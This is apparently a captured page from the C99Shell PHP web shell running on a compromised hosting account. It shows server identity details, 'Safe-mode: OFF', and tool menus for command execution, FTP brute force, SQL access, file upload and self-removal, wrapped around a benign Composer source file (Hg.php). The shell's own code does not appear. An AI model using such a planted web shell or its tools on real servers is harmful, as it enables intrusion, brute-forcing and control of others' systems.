!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/usr/share/php/Composer/Util/   drwxr-xr-x
Free 54.84 GB of 99.95 GB (54.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Hg.php (3.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Util;

use 
Composer\Config;
use 
Composer\IO\IOInterface;
use 
Composer\Pcre\Preg;

/**
 * @author Jonas Renaudot <jonas.renaudot@gmail.com>
 */
class Hg
{
    
/** @var string|false|null */
    
private static $version false;

    
/**
     * @var \Composer\IO\IOInterface
     */
    
private $io;

    
/**
     * @var \Composer\Config
     */
    
private $config;

    
/**
     * @var \Composer\Util\ProcessExecutor
     */
    
private $process;

    public function 
__construct(IOInterface $ioConfig $configProcessExecutor $process)
    {
        
$this->io $io;
        
$this->config $config;
        
$this->process $process;
    }

    public function 
runCommand(callable $commandCallablestring $url, ?string $cwd): void
    
{
        
$this->config->prohibitUrlByConfig($url$this->io);

        
// Try as is
        
$command $commandCallable($url);

        if (
=== $this->process->execute($command$ignoredOutput$cwd)) {
            return;
        }

        
// Try with the authentication information available
        
if (Preg::isMatch('{^(https?)://((.+)(?:\:(.+))?@)?([^/]+)(/.*)?}mi'$url$match) && $this->io->hasAuthentication((string) $match[5])) {
            
$auth $this->io->getAuthentication((string) $match[5]);
            
$authenticatedUrl $match[1] . '://' rawurlencode($auth['username']) . ':' rawurlencode($auth['password']) . '@' $match[5] . $match[6];

            
$command $commandCallable($authenticatedUrl);

            if (
=== $this->process->execute($command$ignoredOutput$cwd)) {
                return;
            }

            
$error $this->process->getErrorOutput();
        } else {
            
$error 'The given URL (' $url ') does not match the required format (http(s)://(username:password@)example.com/path-to-repository)';
        }

        
$this->throwException('Failed to clone ' $url ', ' "\n\n" $error$url);
    }

    
/**
     * @param non-empty-string $message
     *
     * @return never
     */
    
private function throwException($messagestring $url): void
    
{
        if (
null === self::getVersion($this->process)) {
            throw new \
RuntimeException(Url::sanitize('Failed to clone ' $url ', hg was not found, check that it is installed and in your PATH env.' "\n\n" $this->process->getErrorOutput()));
        }

        throw new \
RuntimeException(Url::sanitize($message));
    }

    
/**
     * Retrieves the current hg version.
     *
     * @return string|null The hg version number, if present.
     */
    
public static function getVersion(ProcessExecutor $process): ?string
    
{
        if (
false === self::$version) {
            
self::$version null;
            if (
=== $process->execute('hg --version'$output) && Preg::isMatch('/^.+? (\d+(?:\.\d+)+)(?:\+.*?)?\)?\r?\n/'$output$matches)) {
                
self::$version $matches[1];
            }
        }

        return 
self::$version;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--